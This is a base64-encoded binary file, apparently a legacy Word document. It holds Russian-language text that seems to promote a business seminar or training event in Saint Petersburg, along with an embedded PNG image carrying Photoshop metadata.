PQQwBDsEOAQ3BDgEQARDBE4EQgQgADoEPgQ9BDoEQwRABDUEPQRCBD0EQwROBCAAQQRABDUENARD BCAAQQQgAD8EPgQ3BDgERgQ4BDkEIAAxBDUENwQ+BD8EMARBBD0EPgRBBEIEOAQuACAAHQQ+BCAA NAQwBDYENQQgADUEQQQ7BDgEIABDBCAAEgQwBEEEIAA9BDUEMQQ+BDsETARIBD4EOQQgADEEOAQ3 BD0ENQRBBCAAEyAgADIEPgQ/BEAEPgRBBCAANAQ+BDEEQAQ+BD8EPgRABE8ENAQ+BEcEPQQ+BEEE QgQ4BCAAOAQgAD8EOwQwBEIENQQ2BDUEQQQ/BD4EQQQ+BDEEPQQ+BEEEQgQ4BCAAOgQ+BD0EQgRA BDAEMwQ1BD0EQgQwBCAAMgRBBEIEMAQ1BEIEIAA/BEAEMAQ6BEIEOARHBDUEQQQ6BDgEIAA6BDAE NgQ0BEsEOQQgADQENQQ9BEwELgAgABQEOwRPBCAAQgQ+BDMEPgQsACAARwRCBD4EMQRLBCAAPQQw BCAAPQQ1BDMEPgQgAD4EQgQyBDUEQgQ4BEIETAQsACAAPQQwBDQEPgQgADcEPQQwBEIETAQgAEEE PwQ+BEEEPgQxBEsEIAA4BCAAPAQ1BEIEPgQ0BEsEIAA7BDUEMwQwBDsETAQ9BD4EMwQ+BCAAQQQx BD4EQAQwBCAAOAQ9BEQEPgRABDwEMARGBDgEOAQsACAAPgRBBD0EPgQyBD0ESwQ1BCAAPwQ+BDQE RQQ+BDQESwQgADoEIAAwBD0EMAQ7BDgENwRDBCAAOAQ9BEQEPgRABDwEMARGBDgEOAQsACAAqwBA BDAEQQRCBEAEPgQyBEsENQQgAD8EQAQ4BDcEPQQwBDoEOAQgAD4EPwQwBEEEPQQ+BEEEQgQ4BLsA IAAyBD4EIAAyBDcEMAQ4BDwEPgQ+BEIEPQQ+BEgENQQ9BDgETwRFBCAAPAQ1BDYENARDBCAATgRA BDgENAQ4BEcENQRBBDoEOAQ8BDgEIAA7BDgERgQwBDwEOAQgADgEIAA4BD0ESwQ1BCAAQgQ+BD0E OgQ+BEEEQgQ4BCAAKAA9BDAEPwRABDgEPAQ1BEAELAAgADoEMAQ6BCAAPgQ/BEAENQQ0BDUEOwQ4 BEIETAQgAEQEOAQ9BDAEPQRBBD4EMgRDBE4EIABDBEEEQgQ+BDkERwQ4BDIEPgRBBEIETAQgADoE PgQ8BD8EMAQ9BDgEOAQgAD8EPgQgAD8EQAQ1BDQEQQRCBDAEMgQ7BDUEPQQ9BEsEPAQgADEEQwRF BDMEMAQ7BEIENQRABEEEOgQ4BDwEIAA0BD4EOgRDBDwENQQ9BEIEMAQ8BCkALgANAA0AHQQwBEgE IABGBDUEPQRCBEAEIAA6BEAEMARCBDoEPgRBBEAEPgRHBD0EPgQzBD4EIAA+BDEEQwRHBDUEPQQ4 BE8EIAA/BEAEPgQyBD4ENAQ4BEIEIABBBDUEPAQ4BD0EMARABEsEIAA4BCAAOgRDBEAEQQRLBCAA PwQ+BCAAOgQ+BD0EOgRDBEAENQQ9BEIEPQQ+BDkEIABABDAENwQyBDUENAQ6BDUELgAgABIESwQg ADwEPgQ2BDUEQgQ1BCAAPQQwBEMERwQ4BEIETARBBE8EIAA9BDAEIABNBEIEOARFBCAAQQQ1BDwE OAQ9BDAEQAQwBEUEIABCBDUEPgRABDgEOAQgADgEIAA/BEAEMAQ6BEIEOAQ6BDUEIAA/BEAEOAQ8 BDUEPQQ1BD0EOARPBCAAPAQ1BEIEPgQ0BD4EMgQgAEAEMAQ3BDIENQQ0BDoEOAQsACAAPwQ1BEAE NQQ9BDUEQQQ1BD0EPQRLBEUEIAAyBCAAMQQ4BDcEPQQ1BEEELAAgADgEIAAwBDQEMAQ/BEIEOARA BD4EMgQwBD0EPQRLBEUEIAA6BCAAMQQ4BDcEPQQ1BEEEQwQuAA0ADQASBCAAQAQ1BDcEQwQ7BEwE QgQwBEIENQQgAD4EMQRDBEcENQQ9BDgETwQgABIESwQ6AA0ADQBABDAEQQRBBDwEPgRCBEAEOARC BDUEIABBBDgEQQRCBDUEPAQ9BEsEOQQgAD8EPgQ0BEUEPgQ0BCAAOgQgADgEPQREBD4EQAQ8BDAE RgQ4BD4EPQQ9BD4ELQAwBD0EMAQ7BDgEQgQ4BEcENQRBBDoEPgQ5BCAAQAQwBDEEPgRCBDUEIAAy BCAAQAQ1BEgENQQ9BDgEOAQgADcEMAQ0BDAERwQgAD8EPgQgAD4EMQQ1BEEEPwQ1BEcENQQ9BDgE TgQgADEENQQ3BD4EPwQwBEEEPQQ+BEEEQgQ4BCAAOgQ+BDwEPwQwBD0EOAQ4BA0APwQ+BDsEQwRH BDgEQgQ1BCAAQQQ4BEEEQgQ1BDwEPQRLBDUEIAA3BD0EMAQ9BDgETwQgAD8EPgQgAD8EQAQwBDIE OAQ7BDAEPAQgAEEEPgQ3BDQEMAQ9BDgETwQgAD8EPgQ0BEAEMAQ3BDQENQQ7BDUEPQQ4BE8EIAA6 BD4EPQQ6BEMEQAQ1BD0EQgQ9BD4EOQQgAEAEMAQ3BDIENQQ0BDoEOAQsACAAPwQ+BEAETwQ0BDoE QwQgAD8EQAQ+BDIENQQ0BDUEPQQ4BE8EIAA6BD4EPQQ6BEMEQAQ1BD0EQgQ9BD4EOQQgAEAEMAQ3 BDIENQQ0BDoEOAQgADIEIAA6BD4EPAQ/BDAEPQQ4BDgELAAgAEEEPwQ+BEEEPgQxBDAEPAQgADgE IAA8BDUEQgQ+BDQEMAQ8BCAAQQQxBD4EQAQwBCAAOAQgADAEPQQwBDsEOAQAAAAIAAAQCQAAEgkA AHIKAADGDwAAyA8AAMoPAACGEQAAiBEAALwRAAD+EwAAABgAAGwZAAB2GQAAeBkAAL4ZAADAGQAA yhkAAM4ZAADQGQAA8hkAAPQZAAD2GQAAAhoAABQaAAAkGwAAJhsAAIIbAACEGwAAhhsAAAQeAAAG HgAACB4AAA4eAADx4/HY0NjCs6LYoNiUi4KUgpSClIKUgouUs6J20NjQZlYAAAAfFWjpMAcAFmjp MAcANQiBQ0osAE9KBABRSgQAYUosAB8VaKBNpAAWaKBNpAA1CIFDSiwAT0oEAFFKBABhSiwAFxVo oE2kABZooE2kADUIgU9KBABRSgQAERZo6TAHADUIgU9KBQBRSgUAERZozWnrADUIgU9KBQBRSgUA FxVooE2kABZooE2kADUIgU9KBQBRSgUAA1UIASAVaLw0cgAWaKBNpAA1CIFCKglPSgQAUUoEAHBo ADOZAAAdFWi8NHIAFmigTaQAQioJT0oEAFFKBABwaAAzmQAbFWigTaQAFmigTaQANQiBT0oFAFFK BQBeSgMADhZooE2kAE9KBABRSgQAABQVaKBNpAAWaKBNpABPSgQAUUoEAAAaA2oAAAAAFmg3VUkA VQgBbUgABG5IAAR1CAEAGxVooE2kABZooE2kADYIgU9KAwBRSgMAXkoDAAAhAAgAAHIKAAB0CgAA yA8AAMoPAACGEQAAiBEAALwRAAC+EQAArBIAABwYAABqGQAAbBkAANAZAAAkGwAAJhsAAIIbAACE GwAA3hsAAFAcAAC+HAAA/hwAAAAdAAD2AAAAAAAAAAAAAAAA8QAAAAAAAAAAAAAAAOUAAAAAAAAA AAAAAADdAAAAAAAAAAAAAAAA1QAAAAAAAAAAAAAAAPEAAAAAAAAAAAAAAADVAAAAAAAAAAAAAAAA 8QAAAAAAAAAAAAAAAM0AAAAAAAAAAAAAAADNAAAAAAAAAAAAAAAAzQAAAAAAAAAAAAAAAPEAAAAA AAAAAAAAAADVAAAAAAAAAAAAAAAA1QAAAAAAAAAAAAAAAPEAAAAAAAAAAAAAAADVAAAAAAAAAAAA AAAA1QAAAAAAAAAAAAAAAMUAAAAAAAAAAAAAAADFAAAAAAAAAAAAAAAAxQAAAAAAAAAAAAAAAMUA AAAAAAAAAAAAAADxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAomAAtGBgBnZKBNpAAI AAAKJgALRgUAZ2SgTaQAAAcAAAMkAWEkAWdkoE2kAAAHAAADJANhJANnZKBNpAAACwAAAyQDD4Qw /V6EMP1hJANnZKBNpAAABAAAZ2SgTaQAAAgAAA+E2AlehNgJZ2SgTaQAABY3BDAEIAA4BD0ERAQ+ BEAEPAQwBEYEOAQ4BA0AQwRBBD4EMgQ1BEAESAQ1BD0EQQRCBDIEQwQ1BEIENQQgAD8EQAQwBDoE QgQ4BEcENQRBBDoEOAQ1BCAAPQQwBDIESwQ6BDgEIAA/BEAEPgQyBDUENAQ1BD0EOARPBCAAOAQ9 BEQEPgRABDwEMARGBDgEPgQ9BD0EPgQtADAEPQQwBDsEOARCBDgERwQ1BEEEOgQ+BDkEIABABDAE MQQ+BEIESwQgAD8EPgQgAD4EPwRABDUENAQ1BDsENQQ9BDgETgQgAEQEOAQ9BDAEPQRBBD4EMgQ+ BDkEIABDBEEEQgQ+BDkERwQ4BDIEPgRBBEIEOAQgADoEPgQ8BD8EMAQ9BDgEOAQgAD0EMAQgAD4E QQQ9BD4EMgQ1BCAAPwRABDUENARBBEIEMAQyBDsETwQ1BDwESwRFBCAANAQ+BDoEQwQ8BDUEPQRC BD4EMgQNAA0AFAQwBEIEMAQgAEEEOwQ1BDQEQwROBEkENQQzBD4EIAA6BEMEQARBBDAEIAA/BD4E IABABDAENwQyBDUENAQ6BDUEIAAtACAAMQAxAC0AMQAyACAAHAQQBCAEIgQQBC4AIAANABMEPgRA BD4ENAQgAD8EQAQ+BDIENQQ0BDUEPQQ4BE8EIAATICAAIQQQBB0EGgQiBC0AHwQVBCIEFQQgBBEE IwQgBBMELgAgABwENQRABD4EPwRABDgETwRCBDgENQQgAEEEPgRBBEIEPgQ4BEIEQQRPBCAAQQQg AD8EQAQ4BDwENQQ9BDUEPQQ4BDUEPAQgAEEEMAQ8BEsERQQgADAEOgRCBEMEMAQ7BEwEPQRLBEUE IAA8BDUEQgQ+BDQEOAQ6BCAAOAQgADgEPQRBBEIEQARDBDwENQQ9BEIEPgQyBCwAIAAxBEMENAQ1 BEIEIABBBD4ENAQ1BEAENgQwBEIETAQgADEEPgQ7BEwESAQ+BDUEIAA6BD4EOwQ4BEcENQRBBEIE MgQ+BCAAPwRABDAEOgRCBDgERwQ1BEEEOgQ4BEUEIAA3BDAENAQwBD0EOAQ5BC4ADQANABIEQQQ1 BDwEIABDBEcEMARBBEIEPQQ4BDoEMAQ8BCAAQQQ1BDwEOAQ9BDAEQAQwBCAAMQRDBDQENQRCBCAA PwRABDUENAQ+BEEEQgQwBDIEOwQ1BD0EPgQ6AA0ADQA+BDEEQwRHBDUEPQQ4BDUEIAA/BD4EIAA/ BEAEPgQzBEAEMAQ8BDwENQQgAEEEIAAyBEsENAQwBEcENQQ5BCAAIQQ1BEAEQgQ4BEQEOAQ6BDAE QgQwBDsADQA6BD4EPAQ/BDsENQQ6BEIEIAAwBDoEQgRDBDAEOwRMBD0ESwRFBCAAOAQ9BEQEPgRA BDwEMARGBDgEPgQ9BD0EPgQtAEEEPwRABDAEMgQ+BEcEPQRLBEUEIAA8BDAEQgQ1BEAEOAQwBDsE PgQyBDsADQA6BEMEOwRMBEIEQwRABD0EMARPBCAAPwRABD4EMwRABDAEPAQ8BDAEIAAiABcEPQQw BDoEPgQ8BEEEQgQyBD4EIABBBCAAIQQwBD0EOgRCBC0AHwQ1BEIENQRABDEEQwRABDMEPgQ8BCIA OwANADUENgQ1BDQEPQQ1BDIEPQRLBDUEIAA+BDEENQQ0BEsEIAA4BCAAOgQ+BEQENQQtADEEQAQ1 BDkEOgQ4BC4ADQANABcEMAQ0BDAEQgRMBCAAMgQ+BD8EQAQ+BEEESwQgAD8EPgQgAEMEQQQ7BD4E MgQ4BE8EPAQgAEMERwQwBEEEQgQ4BE8EIAAyBCAAPgQxBEMERwQ1BD0EOAQ4BCwAIAA/BD4EOwRD BEcEOARCBEwEIAA/BD4EOwQ9BEMETgQgAD8EQAQ+BDMEQAQwBDwEPARDBCAAOgRDBEAEQQQwBCAA OAQgAEAEMARBBD8EOARBBDAEPQQ4BDUEIAA8BD4ENgQ9BD4EIAA/BD4EIABCBDUEOwQ1BEQEPgQ9 BEMEIAAyBCAAIQQwBD0EOgRCBC0AHwQ1BEIENQRABDEEQwRABDMENQQ6ACAADQAoADgAMQAyACkA IAA2ADQAMgAgADUAOAAgADMAMQANAA0AEgQ+BDcEPAQ+BDYEPQQ+BCAAOgQ+BEAEPwQ+BEAEMARC BDgEMgQ9BD4ENQQgAD4EMQRDBEcENQQ9BDgENQQgACgANAQ7BE8EIABBBD4EQgRABEMENAQ9BDgE OgQ+BDIEIABCBD4EOwRMBDoEPgQgABIEMARIBDUEOQQgADoEPgQ8BD8EMAQ9BDgEOAQpACAAOAQv ADgEOwQ4BCAAQQQ/BDUERgQ4BDAEOwRMBD0ESwQ1BCAAPwRABDUENAQ7BD4ENgQ1BD0EOARPBCAA NAQ7BE8EIAA6BD4EQAQ/BD4EQAQwBEIEOAQyBD0ESwRFBCAAOgQ7BDgENQQ9BEIEPgQyBC4AIAAt BEIEPgQgAD8EPgQ3BDIEPgQ7BDgEQgQgADAENAQwBD8EQgQ4BEAEPgQyBDAEQgRMBCAAOgRDBEAE QQQgADoEIAA9BEMENgQ0BDAEPAQgABIEMARIBDUEMwQ+BCAAPwRABDUENAQ/BEAEOARPBEIEOARP BCAAOAQgAD0ENQQ/BD4EQQRABDUENARBBEIEMgQ1BD0EPQQ+BCAAMgQ+BCAAMgRABDUEPARPBCAA QwRHBDUEMQRLBCAAQAQ1BEgEMARCBEwEIAA6BD4EPQQ6BEAENQRCBD0ESwQ1BCAANwQwBDQEMARH BDgELAAgAEEEPgRFBEAEMAQ9BE8ETwQgADoEPgQ9BEQEOAQ0BDUEPQRGBDgEMAQ7BEwEPQQ+BEEE QgRMBCAAMgQgAD4EQgQ9BD4ESAQ1BD0EOAQ4BCAAPwRABD4EMQQ7BDUEPAQgADoEPgQ8BD8EMAQ9 BDgEOAQgADgEIABIBDAEMwQ+BDIEIAA/BD4EIAA4BEUEIABABDUESAQ1BD0EOAROBC4ADQAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB0AAAYeAAAmHgAAKB4AALgg AAD6AAAAAAAAAAAAAAAA8gAAAAAAAAAAAAAAAOoAAAAAAAAAAAAAAADeAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAAAMkAw+EMP1ehDD9YSQDZ2SgTaQAAAcAAAMk A2EkA2dkoE2kAAAHAAADJAFhJAFnZKBNpAAABAAAZ2SgTaQAAAQOHgAAEB4AACQeAAAmHgAAKB4A ALgeAAC8HgAAKh8AACwfAAAkIAAAKCAAAHggAACKIAAAtiAAALggAADy4tLHu7K7sruyu7K7pgAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcVaKBNpAAWaChL7QA1CIFPSgUAUUoFABEWaKBN pAA1CIFPSgUAUUoFABcVaKBNpAAWaKBNpAA1CIFPSgUAUUoFABQVaKBNpAAWaKBNpABPSgQAUUoE AAAfFWigTaQAFmigTaQANQiBQ0o4AE9KBABRSgQAYUo4AB8VaOkwBwAWaOkwBwA1CIFDSiwAT0oE AFFKBABhSiwAGRZo6TAHADUIgUNKLABPSgQAUUoEAGFKLAAADjIAMZBoATpwoE2kAB+wgi4gsMZB IbClBiKwUgMjkGgBJJBuBCWwAAAXsMQCGLDEAgyQxAIAbh7wsTcAAESg9P6Fpq/X4xLX93L+tD// iVBORw0KGgoAAAANSUhEUgAAAKEAAACLCAYAAAAJZvnmAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAA2RpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6 eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEz NDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJo dHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlw dGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu MC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVz b3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1N Ok9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDpGNTVBRkFBMEYwNzJERjExOTE0OUM1Nzc2QzA5 QjY1QiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpCQUU4MEQ2OTczQTIxMURGQjlDMjlGNzg4 RTJFRjlCQSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpCQUU4MEQ2ODczQTIxMURGQjlDMjlG Nzg4RTJFRjlCQSIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1IFdpbmRvd3Mi PiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDozRjk4MkZFREYy NzJERjExOTE0OUM1Nzc2QzA5QjY1QiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDpGNTVBRkFB MEYwNzJERjExOTE0OUM1Nzc2QzA5QjY1QiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRG PiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/Pvju22MAADPSSURBVHja7H0LnFVVvf9a a+9zhoGBwREMJVAMpTCUHMQoCsPIB6UXP3g1ut70r3+9di0J039eyv6WXk3/2vVeryZpmIVpmvxF TZIwX0ESJDYKUqSGDqKTPAdmZu+91rq/33rsvfaZMzNnHucxMEsXZ88+++y99lrf9Xuv36JSStLd 8slFvyJFKmOh1mOlFCsdCcdZ+JzkXgRt3gwfu+CzEZq/Ho5tfYMMlKKX3118ep/ez6+AdzqVEjKX MnoGY3QkAI5gJer/9KdGIP4vx5vPevjnDAFIlEIiODcIIR+Gqx6EumEALv2jlAuE9YCpCwF4cxlj IwF8hDINPl3xkuQzBiBJgKgg6HxKDcSJAMhrpBDXCC4b4PhGuOD+gWHeH0EoRU+fNwOQda3nsRkA PgU89WmApymgRlwMQJIHg+YEVdQQfosAhE/J4F+kiOq+chLnYong4hopBYLx3oHhrszCSvScWYCq VZ7vPZPJ+jP8jE/8jEd83yMASFWZ5ylAMgUg6gAzDxHUdFJdwyg1v9P38fCepmbgGfC8CZ7vL4aL n4GfTRgY8v2GEhZ8pQf1LgDIhQgK5mmwtGe96XsrNquoGzF/xBzYIjChji771tIjUEr4F6iiVN9J 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 